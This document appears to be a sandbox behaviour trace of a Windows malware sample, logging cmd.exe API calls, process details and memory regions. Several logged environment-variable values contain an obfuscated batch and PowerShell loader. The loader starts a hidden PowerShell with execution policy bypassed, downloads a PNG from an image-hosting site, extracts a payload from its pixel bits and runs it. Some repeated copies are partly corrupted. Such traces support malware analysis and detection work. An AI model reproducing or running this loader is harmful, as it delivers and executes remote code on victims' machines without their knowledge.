	[0057.453] GetEnvironmentVariableW (in: lpName="[_", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( @sHelLId[1]+@shELlId[1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]#4).ReplaCE(([ChAr]98+[ChAr]8#+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]#6))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:s3LrV).vaL3e  )  ^^^|POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc b`PASS  -nOPrOFIle  -COmMANd     ^^^^^^^&( @eNV:ComsPec[4,24,25]-JoIn'')(@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x44a
	[0057.462] GetEnvironmentVariableW (in: lpName="$_'}", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( @sHelLId[1]+@shELlId[1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]#4).ReplaCE(([ChAr]98+[ChAr]8#+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]#6))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  ^^^|POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc b`PASS  -nOPrOFIle  -COmMANd     ^^^^^^^&( @eNV:ComsPec[4,24,25]-JoIn'')(@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x44a
	[0057.566] GetEnvironmentVariableW (in: lpName="\\[,#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( $sHelLId[1]+$shELlId[1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]#4).ReplaCE(([ChAr]98+[ChAr]8#+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]#6))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  ^^^|POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc b`PASS  -nOPrOFIle  -COmMANd     ^^^^^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x44a
	[0057.576] GetEnvironmentVariableW (in: lpName=",`", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  ^^^|POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc b`PASS  -nOPrOFIle  -COmMANd     ^^^^^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x44a
	[0057.579] wcstol (in: _String="   +1   \"", _EndPtr=0x1ad950, _Radix=0 | out: _EndPtr=0x1ad950*="   \"") returned 1
	[0057.579] _wpopen (_Command=" ^ft^Y^p^e | ^f^iN^d^S^t^r ^c^m ", _Mode="rb") returned 0x7feff632b10
	[0057.589] feof (_File=0x7feff632b10) returned 0
	[0057.589] ferror (_File=0x7feff632b10) returned 0
	[0057.589] fgets (in: _Buf=0x2fa240, _MaxCount=256, _File=0x7feff632b10 | out: _Buf="cmdfile=\"%1\" %*\r\n", _File=0x7feff632b10) returned="cmdfile=\"%1\" %*\r\n"
	[0058.351] feof (_File=0x7feff632b10) returned 0
	[0058.351] ferror (_File=0x7feff632b10) returned 0
	[0058.351] fgets (in: _Buf=0x38fd91, _MaxCount=495, _File=0x7feff632b10 | out: _Buf="", _File=0x7feff632b10) returned 0x0
	[0058.356] _pclose (in: _File=0x7feff632b10 | out: _File=0x7feff632b10) returned 0
	[0058.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x38fd91, cbMultiByte=17, lpWideCharStr=0x38fd80, cchWideChar=17 | out: lpWideCharStr="cmdfile=\"%1\" %*\r\n") returned 17
	[0058.358] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ad608 | out: _Buffer="\r\n") returned 2
	[0058.358] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.358] GetFileType (hFile=0x7) returned 0x2
	[0058.359] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.359] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ad598 | out: lpMode=0x1ad598) returned 1
	[0058.359] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.359] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1ad5d8, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1ad5d8*=0x2) returned 1
	[0058.359] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0058.359] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.359] _vsnwprintf (in: _Buffer=0x49e6eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1ad618 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop") returned 25
	[0058.360] _vsnwprintf (in: _Buffer=0x49e6eb92, _BufferCount=0x3e5, _Format="%c", _ArgList=0x1ad618 | out: _Buffer=">") returned 1
	[0058.360] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.360] GetFileType (hFile=0x7) returned 0x2
	[0058.360] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.360] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ad5c8 | out: lpMode=0x1ad5c8) returned 1
	[0058.360] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.360] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e6eb60*, nNumberOfCharsToWrite=0x1a, lpNumberOfCharsWritten=0x1ad608, lpReserved=0x0 | out: lpBuffer=0x49e6eb60*, lpNumberOfCharsWritten=0x1ad608*=0x1a) returned 1
	[0058.360] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.360] GetFileType (hFile=0x7) returned 0x2
	[0058.360] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.360] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ad8a8 | out: lpMode=0x1ad8a8) returned 1
	[0058.361] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.361] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e69ed8*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x1ad8e8, lpReserved=0x0 | out: lpBuffer=0x49e69ed8*, lpNumberOfCharsWritten=0x1ad8e8*=0x1) returned 1
	[0058.361] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.361] GetFileType (hFile=0x7) returned 0x2
	[0058.361] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.361] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ad818 | out: lpMode=0x1ad818) returned 1
	[0058.361] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.361] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1ff0090*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0x1ad858, lpReserved=0x0 | out: lpBuffer=0x1ff0090*, lpNumberOfCharsWritten=0x1ad858*=0x4) returned 1
	[0058.361] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1ad858 | out: _Buffer="  ,%*[-,%    ") returned 13
	[0058.361] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.362] GetFileType (hFile=0x7) returned 0x2
	[0058.362] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.362] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ad7e8 | out: lpMode=0x1ad7e8) returned 1
	[0058.362] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.362] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0xd, lpNumberOfCharsWritten=0x1ad828, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1ad828*=0xd) returned 1
	[0058.362] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x1ad888 | out: _Buffer=" | ") returned 3
	[0058.362] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.362] GetFileType (hFile=0x7) returned 0x2
	[0058.362] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.362] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ad818 | out: lpMode=0x1ad818) returned 1
	[0058.362] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.362] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1ad858, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1ad858*=0x3) returned 1
	[0058.363] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.363] GetFileType (hFile=0x7) returned 0x2
	[0058.363] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.363] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ad818 | out: lpMode=0x1ad818) returned 1
	[0058.363] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.363] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1ff0170*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1ad858, lpReserved=0x0 | out: lpBuffer=0x1ff0170*, lpNumberOfCharsWritten=0x1ad858*=0x3) returned 1
	[0058.363] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1ad858 | out: _Buffer=";  ") returned 3
	[0058.363] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.363] GetFileType (hFile=0x7) returned 0x2
	[0058.363] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.363] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ad7e8 | out: lpMode=0x1ad7e8) returned 1
	[0058.364] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.364] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1ad828, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1ad828*=0x3) returned 1
	[0058.364] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1ad8e8 | out: _Buffer=") ") returned 2
	[0058.364] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.364] GetFileType (hFile=0x7) returned 0x2
	[0058.364] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.364] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ad878 | out: lpMode=0x1ad878) returned 1
	[0058.364] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.364] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1ad8b8, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1ad8b8*=0x2) returned 1
	[0058.364] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ad8e8 | out: _Buffer="\r\n") returned 2
	[0058.364] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.364] GetFileType (hFile=0x7) returned 0x2
	[0058.365] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0058.365] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ad878 | out: lpMode=0x1ad878) returned 1
	[0058.365] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.365] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1ad8b8, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x1ad8b8*=0x2) returned 1
	[0058.365] _pipe (in: _PtHandles=0x2c8b00, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0x2c8b00) returned 0
	[0058.365] _dup (_FileHandle=1) returned 5
	[0058.366] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0
	[0058.366] _close (_FileHandle=4) returned 0
	[0058.366] _wcsicmp (_String1="echO", _String2="DIR") returned 1
	[0058.366] _wcsicmp (_String1="echO", _String2="ERASE") returned -15
	[0058.366] _wcsicmp (_String1="echO", _String2="DEL") returned 1
	[0058.366] _wcsicmp (_String1="echO", _String2="TYPE") returned -15
	[0058.366] _wcsicmp (_String1="echO", _String2="COPY") returned 2
	[0058.366] _wcsicmp (_String1="echO", _String2="CD") returned 2
	[0058.366] _wcsicmp (_String1="echO", _String2="CHDIR") returned 2
	[0058.366] _wcsicmp (_String1="echO", _String2="RENAME") returned -13
	[0058.366] _wcsicmp (_String1="echO", _String2="REN") returned -13
	[0058.366] _wcsicmp (_String1="echO", _String2="ECHO") returned 0
	[0058.366] _wcsicmp (_String1="echO", _String2="DIR") returned 1
	[0058.366] _wcsicmp (_String1="echO", _String2="ERASE") returned -15
	[0058.366] _wcsicmp (_String1="echO", _String2="DEL") returned 1
	[0058.366] _wcsicmp (_String1="echO", _String2="TYPE") returned -15
	[0058.366] _wcsicmp (_String1="echO", _String2="COPY") returned 2
	[0058.366] _wcsicmp (_String1="echO", _String2="CD") returned 2
	[0058.366] _wcsicmp (_String1="echO", _String2="CHDIR") returned 2
	[0058.366] _wcsicmp (_String1="echO", _String2="RENAME") returned -13
	[0058.367] _wcsicmp (_String1="echO", _String2="REN") returned -13
	[0058.367] _wcsicmp (_String1="echO", _String2="ECHO") returned 0
	[0058.367] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0058.367] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51
	[0058.367] SetErrorMode (uMode=0x0) returned 0x8001
	[0058.367] SetErrorMode (uMode=0x1) returned 0x0
	[0058.367] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x2f2b60, lpFilePart=0x1ad1d0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1ad1d0*="system32") returned 0x13
	[0058.367] SetErrorMode (uMode=0x8001) returned 0x1
	[0058.367] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1
	[0058.367] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.371] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0058.371] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe  /S /D /c\" echO  ,%*[-,%   \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ad280*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe  /S /D /c\" echO  ,%*[-,%   \"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ad230 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe  /S /D /c\" echO  ,%*[-,%   \"", lpProcessInformation=0x1ad230*(hProcess=0x5c, hThread=0x54, dwProcessId=0xb70, dwThreadId=0xb74)) returned 1
	[0058.375] CloseHandle (hObject=0x54) returned 1
	[0058.375] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0058.375] GetEnvironmentStringsW () returned 0x21a29b0*
	[0058.375] FreeEnvironmentStringsW (penv=0x21a29b0) returned 1
	[0058.376] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ad248 | out: lpAttributeList=0x1ad248) 
	[0058.376] _get_osfhandle (_FileHandle=3) returned 0x60
	[0058.376] DuplicateHandle (in: hSourceProcessHandle=0x5c, hSourceHandle=0x60, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1
	[0058.376] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0
	[0058.376] _close (_FileHandle=5) returned 0
	[0058.376] _dup (_FileHandle=0) returned 4
	[0058.376] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0
	[0058.377] _close (_FileHandle=3) returned 0
	[0058.377] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0058.377] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0058.377] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.378] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0058.378] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0058.378] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.378] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd ; ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ad280*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="cmd ; ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ad230 | out: lpCommandLine="cmd ; ", lpProcessInformation=0x1ad230*(hProcess=0x54, hThread=0x60, dwProcessId=0xb78, dwThreadId=0xb7c)) returned 1
	[0058.383] CloseHandle (hObject=0x60) returned 1
	[0058.383] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0058.383] GetEnvironmentStringsW () returned 0x21a29b0*
	[0058.383] FreeEnvironmentStringsW (penv=0x21a29b0) returned 1
	[0058.383] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ad248 | out: lpAttributeList=0x1ad248) 
	[0058.383] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0
	[0058.383] _close (_FileHandle=4) returned 0
	[0058.384] WaitForSingleObject (hHandle=0x5c, dwMilliseconds=0xffffffff) returned 0x0
	[0058.627] GetExitCodeProcess (in: hProcess=0x5c, lpExitCode=0x1ad768 | out: lpExitCode=0x1ad768*=0x0) returned 1
	[0058.627] CloseHandle (hObject=0x5c) returned 1
	[0058.627] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0074.470] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1ad768 | out: lpExitCode=0x1ad768*=0x0) returned 1
	[0074.470] CloseHandle (hObject=0x54) returned 1
	[0074.471] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.471] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0074.471] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.471] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 1
	[0074.471] _get_osfhandle (_FileHandle=0) returned 0x3
	[0074.471] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0074.471] SetConsoleInputExeNameW () returned 0x1
	[0074.471] GetConsoleOutputCP () returned 0x1b5
	[0074.471] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0074.471] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0074.472] exit (_Code=0) 

Process:
	id = "8"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x50dd0000"
	os_pid = "0xb58"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0xb50"
	cmd_line = "C:\\Windows\\system32\\cmd.exe /c  ^ft^Y^p^e | ^f^iN^d^S^t^r ^c^m "
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1144
	        start_va = 0x10000
	          end_va = 0x44fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1145
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1146
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1147
	        start_va = 0x130000
	          end_va = 0x22ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 1148
	        start_va = 0x49e40000
	          end_va = 0x49e98fff
	     entry_point = 0x49e40000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 1149
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1150
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1151
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1152
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1153
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
